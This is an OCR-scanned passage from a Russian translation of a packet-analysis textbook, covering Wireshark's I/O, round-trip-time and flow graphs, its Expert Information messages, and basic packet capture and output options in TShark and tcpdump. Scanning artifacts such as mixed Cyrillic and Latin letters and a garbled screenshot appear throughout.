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Рнс. 5. 19. Просмотр двух расположенных рядом rрафнков ввода-вывода может по
мочь в выявленнн отклоненнй 
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Параметры, настраиваемые в нижней части окна Ю Graph, позволяют при

менять ряд особых фильтров, составляемых с помощью того же самого син

таксиса, что и для фильтров отображения, а также выбирать цвета для отобра

жения данных из этих фильтров. Например, можно создать фильтры конкрет

ных IР-адресов и назначить для них особые цвета для просмотра отклонений 

в пропускной способности каждого устройства. 

Опробуйте такую возможность, открыв файл перехвата h t tp _ espn. pcapng, 
который был получен при посещении начальной страницы американского ка

бельного спортивного телеканала ESPN из анализируемого устройства. В окне 
Conversations вы обнаружите, что наиболее активным оказывается сетевой узел 

с внешним IР-адресом 205. 234. 218 .129. Из этого можно сделать вывод, что 
данный сетевой узел, вероятнее всего, служит основным поставщиком содер

жимого, которое получается при посещении веб-страницы по адресу espn. 
сот. Но в диалоге принимают участие и сетевые узлы по другим IР-адресам, 

вероятнее всего, потому, что дополнительное содержимое загружается из 

внешних его поставщиков и рекламодателей. Отличия в прямой и сторонней 

доставке содержимого можно продемонстрировать с помощью графика вво

да-вывода, приведенного на рис. 5.20. 
Оба фильтра, применяемых на этом графике, представлены отдельны

ми строками в нижней части окна Ю Graph. В частности, фильтр Тор Talker 
(Наиболее активный сетевой узел) показывает ввод-вывод только по IР-а

дресу 205. 234. 218 .129 основного в данном случае поставщика содержимого. 
Объем этого ввода-вывода отображается на графике черным цветом, запол

няющим верхнюю часть столбиковой диаграммы. А фильтр Everything Else 
(Все остальные) показывает ввод-вывод по всем остальным IР-адресам в фай

ле перехвата, кроме адреса 205. 234. 218 .129. Следовательно, он включает 
в себя всех сторонних поставщиков содержимого. Объем этого ввода-выво

да отображается на графике красным цветом (светлым оттенком серого на 

рис. 5.20), заполняющим нижнюю часть столбиковой диаграммы. Обратите 
внимание на то, что единицы измерения по оси У данного графика были из

менены на байты в секунду. С учетом этих изменений очень легко увидеть от

личия в объеме трафика основного и сторонних поставщиков содержимого, 

а также выяснить, сколько содержимого поступает из стороннего источника. 

Вам, вероятно, будет любопытно повторить это упражнение на часто посеща

емых вами веб-сайтах и взять эту полезную стратегию на вооружение для срав

нения объемов ввода-вывода в разных хостах. 
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Рис. 5.20. График, демонстрирующий отличия ввода-вывода в двух отдельных 
устройствах 

Составление графика времени круговой передачи пакетов 

х 

Файл перехвата 

download-fast.pcapng 

В приложении Wiresl1ark имеется также возможность 
составлять и просматривать график времени круго

вой (round-trip) передачи пакетов из заданного фай

ла перехвата. Время круговой переда-чи (Round-Trip Time, RTT) - это время, ко

торое требуется на получение подтверждения доставки пакета адресату. По 

существу, это время, которое требуется, чтобы пакет достиг получателя, а от

правленное обратно подтверждение его получения - отправителя этого паке

та. Анализ времени круговой передачи пакета зачастую выполняется с целью 

выявить места замедления или узкие места в передаче данных, а также любые 

задержки, возникающие в этой связи. 

Чтобы опробовать такую возможность на конкретном примере, откройте 

файл перехвата download-fast.pcapng. Чтобы просмотреть график времени 

круговой передачи пакетов из этого файла, выберите сначала любой пакет 



ТСР, а затем команду Statistics<>TCP Stream GraphsqRound Trip Time Graph (Стати
стика<>Графики потоков ТСРqfрафик времени круговой передачи) из главно

го меню. В итоге появится график, приведенный на рис. 5.21 . 
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Рис. 5.21. График времени круговой передачи пакетов при быстрой загрузке файла 
демонстрирует практическое постоянство этой временной характеристики, за ис

ключением нескольких случайных отклонений 

Каждая точка на этом графике представляет время на передачу и подтверж

дение приема пакета. По умолчанию эти величины отсортированы по поряд

ковым номерам пакетов. Чтобы перейти непосредственно к пакету на панели 

Packet List, достаточно щелкнуть на соответствующей точке графика. 

le!QШ!pMШll График времени круговой переда'Чи пакетов носит однонаправленный 

характер, поэтому ачеиъ важно въ~братъ для аиализа нужное направ

ление сетевого трафика. Если у вас этот график въ~глядит иначе, wм 

на рис. 5.21, попробуйте дважды щелкнутъ на кнопке Switch Direction 
( Сменитъ направление). 

На этом графике, построенном для быстрой загрузки файла, величины 

времени круговой передачи пакетов в основном оказываются меньше 0,05 с, 



и лишь в некоторых точках они находятся в пределах от 0,10 до 0,25 с. И не
смотря на немалое количество больших величин , они в основном обозначают 

вполне допустимое для загрузки файла время на передачу и подтверждение 

приема. Анализируя график времени круговой передачи пакетов с точки зре

ния пропускной способности сети, следует выявлять большие величины вре

мени задержки, обозначаемые множеством точек при больших значениях, от

кладываемых по оси У. 

Составление графиков потоков 

Файл ru:pexвama dns _ recursi- Возможность составлять графики потоков oкa

vequery_ server. pcapng зывается полезной для наглядного представле-

ния сетевых соединений и передачи потоков 

данных во времени. Подобные сведения облегчают понимание характера об

мена данными между устройствами в сети. График потоков состоит из столб

цов, обозначающих соединение между хостами , наглядно представляя сете

вой трафик для удобства его интерпретации. 

Чтобы создать график потоков, откройте файл перехвата dns_recursi
vequery_ server. pcapng и выберите команду StatisticsQFlow Graph (СтатистикаQ 
График потоков) из главного меню. Полученный в итоге график приведен на 

рис. 5.22. 
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Рис. 5.22. График потоков ТСР позволяет намного 
лучше представить наглядно сетевое соединение 

На этом графике потоков наглядно представлен рекурсивный DNS-зaпpoc, 

получаемый одним хостом и пересылаемый другому хосту (подробнее о про

токоле DNS речь пойдет в главе 9, "Распространенные протоколы верхнего 
уровня"). Каждая вертикальная линия на этом графике обозначает отдельный 

хост. График потоков позволяет наглядно представить двухсторонний обмен 

данными между двумя устройствами в сети, а в данном примере - соотношение 
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обмена данными между нескощ,кими устройствами. Такой график полезен и 

для понимания обычного потока данных, передаваемых по менее известным 

из вашего опыта сетевым протоколам. 

Экспертная информация 
Файл перехвата 

download-slov.pcapng 
В дешифраторах каждого протокола в Wiresl1ark 
определена экспертная информация, предупреждаю-

щая о конкретных состояниях в пакетах данного про

токола. Эти состояния разделяются на следующие категории. 

• Chat (Текстовый диалог). Основные сведения об обмене данными. 

• Note (Уведомление). Необычные пакеты, которые могут быть частью 
обычного обмена данными. 

• Warning (Предупреждение). Необычные пакеты, которые, вероятнее 
всего, не являются частью обычного обмена данными. 

• Error (Ошибка). Ошибка в пакете или интерпретирующем его дешифра
торе. 

В качестве примера откройте файл перехвата download-slow.pcapng и вы
берите команду AnalyzeQExper1 lnformation (ЛнализQЭкспертная информация) 
из главного меню, чтобы открыть окно Exper1 lnformation. Установите в этом 
окне флажок Group Ьу summary (Группировать по сводке), чтобы организовать 
вывод экспертной информации по степени ее важности (рис. 5.23). 

В этом окне имеются разделы по каждой категории экспертной информа

ции. В данном случае ошибки отсутствуют, имеются 3 предупреждения, 19 уве
домлений и 3 текстовых диалога. 

Большинство сообщений из данного файла перехвата связаны с сетевым 

протоколом ТСР просто потому, что к данному протоколу традиционно при

менялась экспертная информационная система. В то же время в данном окне 

отображается 29 сообщений с экспертной информацией, настроенных на 
протокол ТСР, и они могут оказаться полезными для диагностики файлов пе

рехвата. Эти сообщения помечают отдельные пакеты, когда они удовлетво

ряют определенным критериям, как перечислено ниже. (Это означает, что 

подобные сообщения станут более понятными при изучении сетевого прото

кола ТСР в главе 8, "Протоколы транспортного уровня", и диагностики мед
ленных сетей в главе 11, "Меры борьбы с медленной сетью". 

• Сообщения текстового диалога. 

Сообщение "Window Update" (Изменение размера окна), посьшаемое 
получателем, чтобы уведомить отправителя об изменении размера 

окна приема в протоколе ТСР. 



• Wireslшk . Exp<rt lnlormation • downlo•d-slow о х 

Sumrmry Group Protocol Count 

v Warning Sequence ТСР 

1620 Previous segment not optured (common at capture start) 
ЗZ75 Previous segment not captured (common iJt c•pture start} 
3295 Thrs fntme is .s (sutp«t:IO) out-of-order ~egment 

.., Note Sequence ТСР 19 

< 

1623 Duplicate АСК (#1) 

1625 Duplkate АСК (•2) 
1627 Duplicote АСК (13) 

1629 Duplic•te АСК ("4) 
1631 Duplicate дСК (;t5) 

1633 Duplicate дСК (#6) 
1635 Duplicate дСК (*7) 

1637 Duplicate дСК ("8) 

1638 This fr•me is а (suspIOIO) fa.st retraмmission 
1638 Тh1s frame is а (suspect~ retransmission 
3278 Duplicate дСК (#1) 

3200 DuplК.te дСК (~2) 
3282 Duplicate дСК (#3) 

3284 Duplicate АСК (#4) 

3286 Dupliate дек (#<;J 

3288 DuplК.t• дек (Щ 
3290 DupГкate дек (.t7) 
3292 Duplicate дСК (#8) 

3294 Duplicate дСК (#9) 
. · 

1 Connection establish ,_.,. (SVN}: "'''"'' port 80 
2 Conn«tion estiЫish odnowledge (SVN+ACIC): se~r por". 
·о · ·. 

4 GЕТ /puЬ/dists/opensuse/distributiorv'11.2flSO/openSUSE-". 

·2 . 

H I i~ 1 

'> ~-"'~~~~-"-"~~~~..-...~~~~~~~~~~~~~~~~~~~~~~~ 

,.,~-... 
Lmt !<>t:liscQyFilol QGroupby...,......, 

Р11с. 5.23. В окне Expert lnformation отображаются сведен11я ю экспертной 

с11стемы, запроrрамм11рованной в дешифраторах сетевых протоколов 

• Сообщения с уведомлениями. 

Сообщение "ТСР Retransmission" (Повторная передача по протоко
лу ТСР), посылаемое в результате потери пакетов. Оно появляется, 

когда получен дубликат подтверждения приема пакета или сработал 

таймер времени ожидания повторной передачи пакетов. 

Сообщение "Duplicate АСК" (Дубликат подтверждения), посылаемое 
в том случае, если хост не получает пакет с ожидаемым следующим 

порядковым номером и формирует дубликат подтверждения послед

них полученных данных. 

Сообщение "Zero Window Probe" (Проба нулевого окна), посылаемое 
в ходе текущего контроля состояния окна приема в протоколе ТСР 

после передачи пакета с нулевым окном, как поясняется в главе 11, 
"Меры борьбы с медленной сетью". 



Сообщение "Кеер Ali ve АСК" (Подтверждение активности соедине
ния), посылаемое в ответ на пакеты поддержания активным соедине

ния. 

Сообщение "Zero Window Probe АСК" (Подтверждение пробы нулевого 
окна), посылаемое в ответ на пакеты с пробой нулевого окна. 

Сообщение "Window Is Full" (Окно заполнено), посылаемое для уве
домления о заполнении на стороне получателя окна приема в прото

коле ТСР. 

• Предупреждающие сообщения. 

Сообщение "Previous Segment Lost" (Предыдущий сегмент потерян), 
посылаемое в том случае, если пропущен пакет с ожидаемым поряд

ковым номером в потоке данных. 

Сообщение "ACKed Lost Packet" (Подтверждение потери пакета), по
сылаемое в том случае' если обнаружен пакет подтверждения лек, 

но не пакет, который он подтверждает. 

Сообщение "Кеер Alive" (Поддержание активным соединения), по
сылаемое в том случае, если обнаружен пакет поддержания активным 

соединения. 

Сообщение "Zero Window" (Нулевое окно), посылаемое в том случае, 
если достигнут размер окна приема в протоколе ТСР и послано уве

домление о нулевом окне, запрашивающее отправителя остановить 

передачу данных. 

Сообщение "Out-of-Order" (Нарушение порядка следования), посы
лаемое в том случае, если на основании порядковых номеров обнару

жено, что пакеты получаются не по порядку следования их номеров. 

Сообщение "Fast Retransmission" (Быстрая повторная передача), 
посылаемое в том случае, если повторная передача пакета происхо

дит в течение 20 мс после получения дубликата подтверждения. 

• Сообщения об ошибках. 

Сообщение "No Error Messages" (Сообщения об ошибках отсутст
вуют). 

На первый взгляд может показаться, что некоторые возможности 

Wireshark, рассматриваемые в этой главе, пригодны лишь в особых, малоиз
вестных ситуациях, но на самом деле вам придется пользоваться ими чаще, 

чем вы могли бы предположить. Ознакомиться с рассмотренными здесь воз

можностями и окнами очень важно потому, что к ним придется еще нс раз об

ращаться в ряде последующих глав. 



АНАЛИЗ ПАКЕТОВ 

ИЗ КОМАНДНОЙ СТРОКИ 

Во многих случаях анализ пакетов можно проводить, 

используя графический интерфейс, но иногда инструмен

тальные средства, работающие в режиме командной строки 

(например, утилиты TShark или tcpdump), оказываются просто необходимы и 
даже предпочтительны. Ниже перечислены ряд ситуаций, в которых инстру

ментальное средство командной строки может быть использовано вместо 

Wireshark. 

• Wiresliark одновременно предоставляет немало сведений. Используя 
инструментальное средство командной строки, можно ограничить ото

бражаемую информацию только нужными данными, например, показы

вать в строке только IР-адреса. 

• Инструментальные средства командной строки лучше всего подходят 

для фильтрации пакетов в файле перехвата и передачи результатов не

посредственно другому инструментальному средству 110 каналам, приме

няемым в ОС Uвix. 

• Обрабатывать очень крупные файлы перехвата в Wireshark зачастую 
оказывается нелегко, поскольку весь файл должен быть загружен в опе

перехвата 



инструментальными средствами командной строки удается быстро ото

брать нужные пакеты из файла. 

• Если приходится работать с сервером, где недоступны инструменталь

ные средства с графическим интерфейсом, в таком случае остается 

лишь полагаться на инструментальные средства кома~щной строки. 

В этой главе демонстрируются возможности утилит TSl1ark и tcpdшnp -

наиболее употребительных инструментальных средств кома~щной строки для 

анализа пакетов. Ознакомиться с ними полезно, хотя я лично пользуюсь ути

литой TShark в системах Windows, а утилитой tcpdшnp - в системах Unix. Если 
вы пользуетесь только Windows, можете пропустить разделы этой главы, по
священные утилите tcpdшnp. 

Установка утилиты TShark 
Утилита TShark, являющаяся терминальным аналогом Wireshark, служит 

для анализа пакетов и предоставляет в основном те же функциональные воз

можности, что и Wireshark, но только в виде интерфейса командной строки, 
а не графического интерфейса. Если вы установили Wireshark, то у вас, ско
рее всего, имеется и TShark, при условии, что вы не исключили эту утилиту из 
состава устанавливаемых средств Wireshark. Чтобы убедиться, установлена ли 
утилита TShark, выполните следующие действия. 

1. Откройте окно командной строки или терминала, введя кома~щу Cllld и 

щелкнув на соответствующей кнопке (конкретные действия зависят от 

применяемой операционной системы). 

2. Перейдите к каталогу, где установлено приложение Wireshark. Если вы 
установили его в стандартном месте, введите в кома~щной строке коман

ду cd С: \Program Files \Wireshark. 

3. Запустите TShark на выполнение и выведите на экран сведения о версии 
этой утилиты, введя команду tshark -v. Если утилита TShark не установ
лена, появится сообщение об ошибке, уведомляющее, что введенная ко

манда не распознана. А если утилита TShark установлена в вашей систе
ме, то появятся следующие сведения о ее версии: 

C:\Program Files\Wireshark>tshark -v 

TShark (Wireshark) 2.6.1 (v2.6.1-0-g860a78b3) 

-- фрагмент --

Если же вы не установили утилиту TShark, но желаете ею воспользовать
ся, повторите установку Wireshark, выбрав TShark в составе устанавливаемых 



средств, хотя это и делается по умолчанию. А если вы желаете сразу же при

ступить к изучению возможностей утилиты TShark, то выполните команду 
tshark -h, как показано ниже, чтобы вывести на экран ее команды. Некото
рые из команд TShark будут рассмотрены в этой главе. 

C:\Program Files\Wireshark>tshark -h 

Как и Wireshark, утилита TShark пригодна для работы в разных операци
онных системах, но поскольку она не зависит от графических библиотек кон

кретной операционной системы, то опыт ее использования на разных плат

формах практически одинаков. В силу этого утилита TSl1ark действует весьма 
сходным образом в Wiпdows, Liпux и Мае OS Х, хотя здесь имеются некото
рые отличия на каждой платформе. В этой книге основное внимание уделяет

ся работе с TShark в Wiшlows, поскольку это основная операционная система, 
для которой предназначена данная утилита. 

Установка утилиты tcpdшnp 
Если Wireshark является самым распространенным во всем мире графиче

ским приложением для анализа пакетов, то tcpdump считается наиболее упо
требительной утилитой для анализа пакетов, работающей в режиме команд

ной строки. Она предназначена для работы в Uпiх-подобных операционных 

системах и легко устанавливается с помощью типичных приложений для 

управления пакетами и даже входит в состав дистрибутивных пакетов многих 

разновидностей Liпux. 

Несмотря на то что большая часть этой книги ориентирована на работу в 

среде Wiпdows, в нее вю1ючены разделы, посвященные tcpdump специально 
для пользователей Uпix и, в частности, версии Ubuntu 14.04 LTS. Если же вы 
желаете воспользоваться утилитой tcpdump в Windows, загрузите и установите 
ее аналог WinDшnp для Windows, доступный по адресу http://www. winpcap. 
org/windump/. И хотя опыт использования tcpdump и WinDuшp не совсем оди
наков, эти средства анализа пакетов функционируют сходным образом. Сле

дует, однако, иметь в виду, что WinDшnp и близко не поддерживается так же 

активно, как и tcpdump. В итоге ряд новых возможностей может просто отсут
ствовать и в то же время присутствовать уязвимости в защите. (В этой книге 

WiпDuшp не рассматривается.) 

Несмотря на то что угилита tcpdump не входит в дистрибутивный пакет 
Ubuнtu, установить ее совсем не трудно благодаря системе управления паке

тами АРТ. Чтобы установить tcpdump, выполните следующие действия. 

1. Откройте окно терминала и выполните команду sudo apt-get update, 
чтобы обновить хранилища пакетов последними их версиями. 



2. Выполните команду sudo apt-get install tcpdump. 

3. Вам будет предложено установить ряд зависимых пакетов, необходимых 
для работы tcpdump. Разрешите их установку, введя У и нажав клавишу 
<Enter> по приглашению. 

4. По окончании установки введите команду tcpdump -h, чтобы запустить 
утилиту tcpdump на выполнение и вывести на экран сведения о ее вер
сии. Если эта команда будет выполнена успешно, это означает, что вы 

готовы приступить к работе с tcpdump. А в окне термина появится следу
ющее сообщение: 

sanders@ppa:-$ tcpdump -h 

tcpdump version 4.9.2 

libpcap version 1.8.1 

Usage: tcpdump [ -aAЬdDefhНIJКlLnNOpqStuUvxX#] [ -В size ] [ -с count ] 

[ -С file_size ] [ -Е algo:secret ] [ -F file ] [ -G seconds 

-i interface ] [ -j tstamptype ] [ -М secret ] [ --numЬer ] 

-Q inloutlinout ] 

-r file J [ -s snaplen J [ --time-stamp-precision precision 

--immediate-mode ] [ -Т type ] [ --version ] -v file ] 

-w file ] [ -W filecount ] [ -у datalinktype 

-z postrotate-command ] 

-Z user ] [ expression ] 

Все доступные в tcpdump команды можно вывести на экран, выполнив при
веденную ниже команду. Далее будут рассмотрены некоторые из этих команд. 

sanders@ppa:-$ man tcpclump 

Перехват и сохранение пакетов 
Прежде всего следует перехватить пакеты из сети и отобразить их на экра

не. Чтобы приступить к перехвату пакетов в TShark, достаточно выполнить 
команду tshark. По этой команде начинается процесс перехвата пакетов из 
сетевого интерфейса и их вывод на экран в окне терминала аналогично при

веденному ниже примеру. 

C:\Program Files\Wireshark>tshark 

1 0.000000 172.16.16.128 -> 74.125.95.104 ТСР 66 1606 80 [SYN] 

Seq=O Win=8192 Len=O MSS=1460 WS=4 SACK_PERМ=l 

2 0.030107 74.125.95.104 -> 172.16.16.128 ТСР 66 80 1606 [SYN, АСК] 

Seq=O Ack=l Win=5720 Len=O MSS=l406 SACK_PERМ=l WS=64 

3 0.030182 172.16.16.128 -> 74.125.95.104 ТСР 54 1606 80 [АСК] 



Seq=l Ack=l Win=l6872 Len=O 

4 0.030248 172.16.16.128 -> 74.125.95.104 НТТР 681 GET / НТТР/1.1 

5 0.079026 74.125.95.104 -> 172.16.16.128 ТСР 60 80 1606 [АСК] 

Seq=l Ack=628 Win=6976 Len=O 

А для того чтобы приступить к перехвату пакетов в tcpdump, достаточно вы
полнить команду tcpduшp. После выполнения этой команде окно терминала 

должно выглядеть аналогично следующему: 

sanders@ppa:-$ tcpdump 

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 

listening оп ethO, link-type ЕNlОМВ (Ethernet), capture size 65535 bytes 

21:18:39.618072 IP 172.16.16.128.slm-api > 74.125.95.104.http: Flags [S], 

seq 2082691767, win 8192, options [mss 1460,nop,wscale 2,nop,nop,sackOK], length О 

21:18:39.648179 IP 74.125.95.104.http > 172.16.16.128.slm-api: 

Flags [S.], seq 2775577373, ack 2082691768, win 5720, options [mss 

1406,nop,nop,sackOK,nop,wscale 6], length О 

21:18:39.648254 IP 172.16.16.128.slm-api > 74.125.95.104.http: Flags [.], ack 1, 

win 4218, length О 

21:18:39.648320 IP 172.16.16.128.slm-api > 74.125.95.104.http: Flags [Р.], 

seq 1:628, ack 1, win 4218, length 627: НТТР: GET / НТТР/1.1 

21:18:39.697098 IP 74.125.95.104.http > 172.16.16.128.slm-api: Flags [.], ack 628, 

win 109, length О 

le!Ql@'IКJlllll Для перехвата пакетов в системах Uпix требуютrя полномО'Чuя адми

нистратffjlа, и поэтому вам, cкffjlee всего, придетrя выполнитъ коман

ду tcpduшp с правами полъзователя root или же выполнитъ сна'Чала 
команду sudo, а затем упомина.емые здесъ и далее командъt. Во многих 

случаях Uпiх-подобная система будет доступна вам как полъзовате.лю с 

ограниченными полномО'Чия.ми. И это наиболее вероятная при'Чина воз

никновения ошибки нарушени.я прав доступа по ходу дела. 

В зависимости от конфигурации вашей системы утилита TShark или 
tcpdump может и не выбрать по умолчанию именно тот сетевой интерфейс, из 
которого вам требуется перехватывать пакеты. В таком случае вам придется 

указать его вручную. Список доступных для TShark сетевых интерфейсов мож
но вывести на экран по команде tshark -D, как показано ниже. 
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C:\Program Files\Wireshark>tshark -D 

1. \Device\NPF_{1DE095C2-346D-47E6-B855-11917B74603A) (Local Area Connection 2) 

2. \Device\NPF_{lA494418-97D3-42E8-8COB-78D79AlF7545) (Ethernet 2) 

Чтобы воспольаоваться конкретным сетевым интерфейсом, выполните ко

манду tshark -i с номером, присвоенным сетевому интерфейсу в приведен
ном выше списке: 

C:\Program Files\Wireshark>tshark -i 1 

По этой команде будут перехвачены пакеты только иа сетевого интерфей

са Local Area Connection 2, которому присвоен номер 1 в списке сетевых ин
терфейсов. Рекомендуется всегда указывать сетевой интерфейс, из которого 

требуется перехватывать пакеты. Ведь для инструментальных средств вирту

альной машины или виртуальных частных сетей весьма характерно добавлять 

сетевые интерфейсы, и поэтому следует непременно убедиться, что пакеты 

поступают из нужного источника. 

Если вы работаете с утилитой tcpdump в системе Linux или Мае OS Х, выве
дите список доступных сетевых интерфейсов на экран по команде ifconfig, 
как показано ниже. 

sanders@ppa:-$ ifconfiq 

ethO Link encap:Ethernet HWaddr OO:Oc:29:1f:a7:55 

inet addr:172.16.16.139 Bcast:172.16.16.255 Mask: 

255.255.255.О 

inetб addr: fe80::20c:29ff:felf:a755/64 Scope:Link 

UP BROADCAST RUNNING МULTICAST MTU:l500 Metric:l 

RX packets:5119 errors:O dropped:O overruns:O frame:O 

ТХ packets:3088 errors:O dropped:O overruns:O carrier:O 

collisions:O txqueuelen:lOOO 

RX bytes:876746 (876.7 КВ} ТХ bytes:538083 (538.О КВ) 

А указать конкретный сетевой интерфейс можно по приведенной ниже ко

манде. По этой команде будут перехвачены пакеты только из сетевого интер

фейса ethO. 

sanders@ppa:-$ tcpdump -i ethO 

Итак, настроив все должным образом, можно приступить к перехвату паке

тов. Если устройство, из которого перехватывается сетевой трафик, доволь

но сильно нагружено в сети, вы, скорее всего, заметите, что строки с отдель

ными пакетами появляются настолько быстро, что их трудно прочитать. Это 



положение можно исправить, сначала сохранив пакеты в файл, а затем прочи

тав лишь небольшое их количество из этого файла. 

Чтобы сохранить накопленные пакеты в файле выполните в обеих рассма

триваемых здесь угилитах команду (tshark или tcpdump) с аргументом -w, ука

зав после него имя файла. Перехват пакетов продолжится до тех пор, пока 

вы не остановите его, нажав комбинацию клавиш <Ctrl+C>. Указанный файл 

будет сохранен в том каталоге, из которого соответствующая угилита была за

пущена на выполнение, если не указано иное. 

Ниже приведен пример выполнения данной команды в TShark. 

C:\Program Files\Wireshark>tshark -i 1 -w packets.pcap 

По этой команде все пакеты, перехваченные из сетевого интерфейса, указан

ного первым в списке интерфейсов, будуг записаны в файле перехвата packets. 

рсар. Та же самая команда в tcpdump будет выглядеть следующим образом: 

sanders@ppa:-$ tcpduшp -i ethO -w packets.pcap 

Чтобы прочитать пакеты из сохраненного файла перехвата, выполните 

следующую команду с аргументом -r, указав также имя этого файла: 

C:\Program Files\Wireshark>tshark -r packetв.pcap 

По этой команде все пакеты из файла перехвата packets. рсар будуг прочи

таны и выведены на экран. Аналогичная команда в tcpdump выглядит следую

щим образом: 

sanders@ppa:-$ tcpdump -r packets.pcap 

А по следующей команде в TSl1ark будуг отображены только первые 1 О па
кетов из файла перехвата: 

C:\Program Files\Wireshark>tshark -r packets.pcap -clO 

Аналогичная команда в tcpdump выглядит следующим образом: 

sanders@ppa:-$ tcpdump -r packets.pcap -clO 

В процессе перехвата можно также указать аргумент -с в соответствующей 

команде. В результате ее выполнения будуг перехвачены и выведены для про

смотра на экране только 10 пакетов. А если еще добавить аргумент -w, то пере

хваченные пакеты могуг быть сохранены в файле. Ниже показано, как подоб

ная команда выглядит в TShark. 

C:\Program Files\Wireshark>tshark -i 1 -w packets.pcap -clO 
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Аналогичная команда в tcpdurnp выглядит следующим образом: 

sanders@ppa:-$ tcpdulllp -i ethO -w packets.pcap -clO 

Манипулирование выводимыми результатами 
Преимущество применения инструментальных средств для анализа па

кетов в режиме командной строки заключается в более конкретном выводе 

получаемых результатов. Как правило, в графическом интерфейсе отобража

ется все подряд, и вы сами должны найти именно то, что вам нужно. А ин

струментальные средства командной строки обычно отображают лишь самый 

минимум, вынуждая вас пользоваться дополнительными командами для более 

углубленного анализа пакетов. И в этом отношении утилиты TShark и tcpdurnp 
ничем не отличаются. Обе они выводят на экран по одной строке на каждый 

пакет, требуя дополнительных команд для просмотра более подробных сведе

ний о сетевых протоколах или отдельных байтах из пакетов. 

Каждая выводимая в TShark строка представляет один пакет, а ее формат 
зависит от протоколов, применяемых в этом пакете. В утилите TShark употре
бляются те же самые интерпретаторы сетевых протоколов, что и в Wireshark, 
и получаемые в итоге данные анализируются таким же самым способом. По

этому выводимые в TShark результаты зеркально отображают содержимое па
нели Packet List в Wireshark, если сравнить их рядом. А поскольку интерпрета
торы в утилите TShark позволяют анализировать сетевые протоколы вплоть 
до седьмого уровня, то она может предоставить намного больше сведений о 

пакетах, содержащих заголовки, чем утилита tcpdurnp. 
Каждая выводимая в tcpdurnp строка также представляет один пакет, кото

рый форматируется по-разному в зависимости от применяемого сетевого про

токола. А поскольку в tcpdurnp не применяются такие же интерпретаторы про
токолов, как и в Wireshark, то сведения о сетевых протоколах седьмого уровня 
этой утилитой не анализируются. И в этом состоит один из главных недостат

ков tcpdump. Вместо этого однострочные пакеты форматируются в зависимо
сти от применяемого в них сетевого протокола транспортного уровня, а им 

может быть протокол ТСР или UDP (подробнее об этом речь пойдет в главе 8, 
"Протоколы транспортного уровня"). 

В пакетах ТСР применяется следующий формат: 

[Отметка времени] [Протокол третьего уровня] 

[IР-адрес отправителя]. [Порт отправителя] > 

[IР-адрес получателя]. [Порт получателя]: 

[Флаги протокола ТСР], [Порядковый номер в протоколе ТСР], 

[Номер подтверждения в протоколе ТСР], 

[Размеры окон в протоколе ТСР], [Длина данных] 



В пакетах UDP применяется такой формат: 

[Отметка времени] [Протокол третьего уровня] 

[IР-адрес отправителя]. [Порт отправителя] > 

[IР-адрес получателя]. [Порт получателя]: 

[Протокол четвертого уровня], [Длина данных] 

Эти основные итоговые сведения в одной строке отлично подходят для 

быстрого анализа пакетов, но в итоге вам придется выполнять более углу

бленный анализ пакетов. В приложении Wireshark достаточно щелкнуть на 
избранном пакете в панели Packet List, чтобы отобразить сведения о нем в па

нелях Packet Details и Packet Bytes. Получить доступ к той же самой информации 

из командной строки можно с помощью нескольких параметров. 

Чтобы получить дополнительные сведения о каждом пакете, проще всего 

сделать вывод результатов более многословным. Этой цели в TShark служит 

параметр V, как показано ниже. 

C:\Program Files\Wireshark>tshark -r packets.pcap -V 

По этой команде выводятся те же самые сведения о пакетах, прочитанных 

из файла перехвата packets. рсар, что и в панели Packet Details в Wiresl1ark. 
Ниже приведены примеры анализа пакета с обычной детализацией (основ

ные итоговые сведения) и расширенной детализацией (подробные итоговые 

сведения, получаемые с помощью аргумента -V). 
Сначала приведем стандартный выводимый результат: 

C:\Program Files\Wireshark>tshark -r packets.pcap -cl 

1 0.000000 172.16.16.172 -> 4.2.2.1 ICMP Echo (piпg) request id=OxOOOl, 

seq=l7/4352, ttl=l28 

А теперь приведем часть более подробных сведений, получаемых благода

ря расширенной детализации. 

C:\Program Files\Wireshark>tshark -r packets.pcap -V -cl 

Frame 1: 74 bytes оп wire (592 bits), 74 bytes captured (592 bits) оп iпterface О 

Iпterface id: О (\Device\NPF_(C30671Cl-579D-4F33-9CC0-73EFFFE85A54)) 

Eпcapsulatioп type: Etherпet (1) 

Arrival Time: Dec 21, 2015 12:52:43.116551000 

Easterп Staпdard Time 

[Time shift for this packet: 0.000000000 secoпds] 

фрагмент --
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Для повышения уровня детализации в утилите tcpdump служит аргумент -v. 
Но, в отличие от TShark, в утилите tcpdump допускается несколько уровней де
тализации для отображения каждого пакета. А если указать в соответствую

щей команде несколько аргументов v, то можно добавить столько же уровней 
детализации. В приведенном ниже примере демонстрируется расширение 

отображаемых сведений о пакетах до трех уровней детализации. 

sanders@ppa:-$ tcpdump -r packets.pcap -vvv 

Ниже приведен пример отображения сведений об одном и том же пакете 

как с обычным уровнем детализации, так и с расширением на еще один уро

вень детализации. Но даже при полной детализации выводимый результат и 

близко нельзя сравнить с теми подробностями, которые выводятся в TShark. 

sanders@ppa:-$ tcpdump -r packets.pcap -cl 

reading from file packets.pcap, link-type ENlOMB (Ethernet) 

13:26:25.265937 IP 172.16.16.139 > a.resolvers.level3.net: 

ICMP echo request, id 1759, seq 150, length 64 

sanders@ppa:-$ tcpdump -r packets.pcap -cl -v 

reading from file packets.pcap, link-type ЕNlОМВ (Ethernet) 

13:26:25.265937 IP (tos ОхО, ttl 64, id 37322, offset О, 

flags (DF], proto ICMP (1), length 84) 

172.16.16.139 > a.resolvers.level3.net: ICMP echo request, 

id 1759, seq 150, length 64 

Доступность уровней детализации зависит от конкретного протокола в 

анализируемом пакете. Несмотря на всю полезность расширенной детализа

ции, она не позволяет отобразить все, что можно увидеть. Утилиты TSl1ark и 
tcpdump сохраняют все содержимое каждого пакета, которое можно просма
тривать также в шестнадцатеричной форме или в коде ASCII. 

Так, в TShark можно просматривать представление пакетов в шестнадцате
ричной форме и в коде ASCII с помощью аргумента -х, который можно соче
тать с аргументом r для чтения и отображения пакета из файла перехвата, как 

показано ниже. 

C:\Program Files\Wireshark>tshark -xr pacltets.pcap 

Просмотр перехваченных пакетов по данной команде оказывается таким 

же, как и в панели Packet Bytes приложения Wireshark (рис. 6.1). 



Рис. 6. 1. Просмотр в TShark исходных пакетов в шестнадцатерич
ной форме и в коде ASCI/ 

В угилите tcpdшnp перехваченные пакеты можно просматривать в шест

надцатеричной форме и в коде ASCII, используя аргумент -Х. Этот аргумент 
можно сочетать с аргументом r для чтения пакетов из файла перехвата, как в 

приведенном ниже примере. 

sanders@ppa: - $ tcpdump -Xr packets.pcap 

